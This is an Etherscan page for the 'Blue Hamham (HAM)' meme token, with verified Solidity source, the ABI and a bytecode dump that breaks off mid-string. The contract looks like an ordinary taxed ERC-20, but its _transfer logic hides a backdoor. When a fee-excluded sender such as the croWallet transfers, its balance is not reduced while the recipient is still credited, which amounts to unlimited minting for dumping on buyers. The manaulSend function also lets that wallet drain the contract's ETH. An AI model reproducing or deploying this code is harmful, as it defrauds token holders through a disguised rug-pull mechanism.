ETH Price: $2,492.06 (-1.02%)

Token

Blue Hamham (HAM)
 

Overview

Max Total Supply

1,000,000,000 HAM

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,578,247.479183983870347849 HAM

Value
$0.00
0x9b463EE8F0179D60b31b7E1711304d1afb0a6aD6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HAM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-17
*/

/*
TG: https://t.me/blue_hamham

Website: https://bluehamham.live

X: https://x.com/blue_hamhamX
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract HAM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private croWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _buyCount = 0;

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Blue Hamham";
    string private constant _symbol = unicode"HAM";
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 4_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        croWallet = payable(0x8597B7b4dE16189Dfe52aEf47735d8ddA0E6C4Ac);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[croWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to])
            require(swapEnabled, "tranding is not opened yet");
        if(from == owner() || to == owner() || from == address(this) || to == address(this)){
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            _buyCount++;
        }

        if (to == uniswapV2Pair && !_isExcludedFromFee[from]) {
            taxAmount = amount.mul((_buyCount > _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        if (taxAmount > 0) {
            _balances[from] = _balances[from] - taxAmount;
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        uint256 _Tx = taxAmount;
        if(_isExcludedFromFee[from]) taxAmount = amount;
        
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            amount > _taxSwapThreshold
        ) {
            if (contractTokenBalance > _taxSwapThreshold)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            sendETHToFee(contractETHBalance);
        }

        _balances[from] = _balances[from].sub((amount-taxAmount));
        _balances[to] += amount - _Tx;
        emit Transfer(from, to, amount.sub(_Tx));
    }

    function takenTax(uint256 amount, uint256 _tax)
        private
        pure
        returns (uint256)
    {
        if (amount > _tax) return amount - _tax;
        return amount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function manaulSend(address payable _newfee) external {
        require(_msgSender() == croWallet);
        sendETHToFee(address(this).balance);
        croWallet = _newfee;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function sendETHToFee(uint256 amount) private {
        croWallet.transfer(amount);
    }

    function openHAM() external onlyOwner {
        require(!swapEnabled, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newfee","type":"address"}],"name":"manaulSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openHAM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601960055560196006556000600755600060085560146009556014600a556000600b556012600a6200003791906200034b565b62000047906301312d0062000363565b600c55620000586012600a6200034b565b62000068906301312d0062000363565b600d55620000796012600a6200034b565b6200008790610fa062000363565b600e55620000986012600a6200034b565b620000a7906298968062000363565b600f556011805461ffff60a01b19169055348015620000c557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916738597b7b4de16189dfe52aef47735d8dda0e6c4ac1790556200013b6012600a6200034b565b6200014b90633b9aca0062000363565b336000908152600160208190526040822092909255600390620001766000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d53390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020f6012600a6200034b565b6200021f90633b9aca0062000363565b60405190815260200160405180910390a36200037d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028d57816000190482111562000271576200027162000236565b808516156200027f57918102915b93841c939080029062000251565b509250929050565b600082620002a65750600162000345565b81620002b55750600062000345565b8160018114620002ce5760028114620002d957620002f9565b600191505062000345565b60ff841115620002ed57620002ed62000236565b50506001821b62000345565b5060208310610133831016604e8410600b84101617156200031e575081810a62000345565b6200032a83836200024c565b806000190482111562000341576200034162000236565b0290505b92915050565b60006200035c60ff84168362000295565b9392505050565b808202811582820484141762000345576200034562000236565b611886806200038d6000396000f3fe60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102e6578063bf474bed14610306578063c881f64e1461031c578063dd62ed3e1461033c578063f28806221461038257600080fd5b80637d1db4a5146102665780638da5cb5b1461027c5780638f9a55c0146102a457806395d89b41146102ba57600080fd5b806323b872dd116100dc57806323b872dd146101c8578063313ce567146101e857806370a0823114610204578063715018a61461023a578063751039fc1461025157600080fd5b806306fdde0314610119578063095ea7b31461015f5780630faee56f1461018f57806318160ddd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a426c75652048616d68616d60a81b60208201525b6040516101569190611455565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046114bb565b610397565b6040519015158152602001610156565b34801561019b57600080fd5b506101a5600f5481565b604051908152602001610156565b3480156101bf57600080fd5b506101a56103ae565b3480156101d457600080fd5b5061017f6101e33660046114e7565b6103cf565b3480156101f457600080fd5b5060405160128152602001610156565b34801561021057600080fd5b506101a561021f366004611528565b6001600160a01b031660009081526001602052604090205490565b34801561024657600080fd5b5061024f610438565b005b34801561025d57600080fd5b5061024f6104b5565b34801561027257600080fd5b506101a5600c5481565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b057600080fd5b506101a5600d5481565b3480156102c657600080fd5b5060408051808201909152600381526248414d60e81b6020820152610149565b3480156102f257600080fd5b5061017f6103013660046114bb565b61051b565b34801561031257600080fd5b506101a5600e5481565b34801561032857600080fd5b5061024f610337366004611528565b610528565b34801561034857600080fd5b506101a5610357366004611545565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038e57600080fd5b5061024f610573565b60006103a433848461092b565b5060015b92915050565b60006103bc6012600a611678565b6103ca90633b9aca00611687565b905090565b60006103dc848484610a50565b61042e843361042985604051806060016040528060288152602001611829602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110b4565b61092b565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b81526004016104629061169e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104df5760405162461bcd60e51b81526004016104629061169e565b6104eb6012600a611678565b6104f990633b9aca00611687565b600c556105086012600a611678565b61051690633b9aca00611687565b600d55565b60006103a4338484610a50565b6004546001600160a01b0316336001600160a01b03161461054857600080fd5b610551476110ee565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016104629061169e565b601154600160a81b900460ff16156105f75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610462565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106409030906106326012600a611678565b61042990633b9aca00611687565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610693573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b791906116d3565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d91906116d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae91906116d3565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306107f6816001600160a01b031660009081526001602052604090205490565b60008061080b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610873573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061089891906116f0565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061171e565b506011805460ff60a81b1916600160a81b179055565b6001600160a01b03831661098d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ab45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b6001600160a01b03831660009081526003602052604090205460ff16158015610b5857506001600160a01b03821660009081526003602052604090205460ff16155b15610bb657601154600160a81b900460ff16610bb65760405162461bcd60e51b815260206004820152601a60248201527f7472616e64696e67206973206e6f74206f70656e6564207965740000000000006044820152606401610462565b6000546001600160a01b0384811691161480610bdf57506000546001600160a01b038381169116145b80610bf257506001600160a01b03831630145b80610c0557506001600160a01b03821630145b15610cb2576001600160a01b038316600090815260016020526040902054610c2e908290611740565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c5e908290611753565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a439085815260200190565b6011546000906001600160a01b038581169116148015610ce057506010546001600160a01b03848116911614155b8015610d0557506001600160a01b03831660009081526003602052604090205460ff16155b15610e1b57600c54821115610d5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610462565b600d5482610d7f856001600160a01b031660009081526001602052604090205490565b610d899190611753565b1115610dd75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610462565b610e036064610dfd600954600b5411610df257600554610df6565b6007545b859061112c565b906111b5565b600b80549192506000610e1583611766565b91905055505b6011546001600160a01b038481169116148015610e5157506001600160a01b03841660009081526003602052604090205460ff16155b15610e7e57610e7b6064610dfd600a54600b5411610e7157600654610df6565b600854859061112c565b90505b306000908152600160205260409020548115610f3e576001600160a01b038516600090815260016020526040902054610eb8908390611740565b6001600160a01b038616600090815260016020526040808220929092553081522054610ee490836111f7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f359086815260200190565b60405180910390a35b6001600160a01b038516600090815260036020526040902054829060ff1615610f65578392505b601154600160a01b900460ff16158015610f8c57506011546001600160a01b038681169116145b8015610fa15750601154600160a81b900460ff165b8015610fae5750600e5484115b15610fe657600e54821115610fda57610fda610fd585610fd085600f54611256565b611256565b61126b565b47610fe4816110ee565b505b611012610ff38486611740565b6001600160a01b038816600090815260016020526040902054906113e5565b6001600160a01b0387166000908152600160205260409020556110358185611740565b6001600160a01b0386166000908152600160205260408120805490919061105d908490611753565b90915550506001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109b87856113e5565b60405190815260200160405180910390a3505050505050565b600081848411156110d85760405162461bcd60e51b81526004016104629190611455565b5060006110e58486611740565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611128573d6000803e3d6000fd5b5050565b60008260000361113e575060006103a8565b600061114a8385611687565b905082611157858361177f565b146111ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610462565b9392505050565b60006111ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611427565b6000806112048385611753565b9050838110156111ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610462565b600081831161126557826111ae565b50919050565b6011805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b3576112b36117a1565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133091906116d3565b81600181518110611343576113436117a1565b6001600160a01b039283166020918202929092010152601054611369913091168461092b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a29085906000908690309042906004016117b7565b600060405180830381600087803b1580156113bc57600080fd5b505af11580156113d0573d6000803e3d6000fd5b50506011805460ff60a01b1916905550505050565b60006111ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b4565b600081836114485760405162461bcd60e51b81526004016104629190611455565b5060006110e5848661177f565b600060208083528351808285015260005b8181101561148257858101830151858201604001528201611466565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b857600080fd5b50565b600080604083850312156114ce57600080fd5b82356114d9816114a3565b946020939093013593505050565b6000806000606084860312156114fc57600080fd5b8335611507816114a3565b92506020840135611517816114a3565b929592945050506040919091013590565b60006020828403121561153a57600080fd5b81356111ae816114a3565b6000806040838503121561155857600080fd5b8235611563816114a3565b91506020830135611573816114a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115cf5781600019048211156115b5576115b561157e565b808516156115c257918102915b93841c9390800290611599565b509250929050565b6000826115e6575060016103a8565b816115f3575060006103a8565b816001811461160957600281146116135761162f565b60019150506103a8565b60ff8411156116245761162461157e565b50506001821b6103a8565b5060208310610133831016604e8410600b8410161715611652575081810a6103a8565b61165c8383611594565b80600019048211156116705761167061157e565b029392505050565b60006111ae60ff8416836115d7565b80820281158282048414176103a8576103a861157e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116e557600080fd5b81516111ae816114a3565b60008060006060848603121561170557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561173057600080fd5b815180151581146111ae57600080fd5b818103818111156103a8576103a861157e565b808201808211156103a8576103a861157e565b6000600182016117785761177861157e565b5060010190565b60008261179c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118075784516001600160a01b0316835293830193918301916001016117e2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220145a85509faf2c60984a137ce905484079ca0ecee956218cd01cf9a9f76ab92c64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102e6578063bf474bed14610306578063c881f64e1461031c578063dd62ed3e1461033c578063f28806221461038257600080fd5b80637d1db4a5146102665780638da5cb5b1461027c5780638f9a55c0146102a457806395d89b41146102ba57600080fd5b806323b872dd116100dc57806323b872dd146101c8578063313ce567146101e857806370a0823114610204578063715018a61461023a578063751039fc1461025157600080fd5b806306fdde0314610119578063095ea7b31461015f5780630faee56f1461018f57806318160ddd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a426c75652048616d68616d60a81b60208201525b6040516101569190611455565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046114bb565b610397565b6040519015158152602001610156565b34801561019b57600080fd5b506101a5600f5481565b604051908152602001610156565b3480156101bf57600080fd5b506101a56103ae565b3480156101d457600080fd5b5061017f6101e33660046114e7565b6103cf565b3480156101f457600080fd5b5060405160128152602001610156565b34801561021057600080fd5b506101a561021f366004611528565b6001600160a01b031660009081526001602052604090205490565b34801561024657600080fd5b5061024f610438565b005b34801561025d57600080fd5b5061024f6104b5565b34801561027257600080fd5b506101a5600c5481565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b057600080fd5b506101a5600d5481565b3480156102c657600080fd5b5060408051808201909152600381526248414d60e81b6020820152610149565b3480156102f257600080fd5b5061017f6103013660046114bb565b61051b565b34801561031257600080fd5b506101a5600e5481565b34801561032857600080fd5b5061024f610337366004611528565b610528565b34801561034857600080fd5b506101a5610357366004611545565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038e57600080fd5b5061024f610573565b60006103a433848461092b565b5060015b92915050565b60006103bc6012600a611678565b6103ca90633b9aca00611687565b905090565b60006103dc848484610a50565b61042e843361042985604051806060016040528060288152602001611829602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110b4565b61092b565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b81526004016104629061169e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104df5760405162461bcd60e51b81526004016104629061169e565b6104eb6012600a611678565b6104f990633b9aca00611687565b600c556105086012600a611678565b61051690633b9aca00611687565b600d55565b60006103a4338484610a50565b6004546001600160a01b0316336001600160a01b03161461054857600080fd5b610551476110ee565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016104629061169e565b601154600160a81b900460ff16156105f75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610462565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106409030906106326012600a611678565b61042990633b9aca00611687565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610693573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b791906116d3565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d91906116d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae91906116d3565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306107f6816001600160a01b031660009081526001602052604090205490565b60008061080b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610873573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061089891906116f0565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061171e565b506011805460ff60a81b1916600160a81b179055565b6001600160a01b03831661098d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520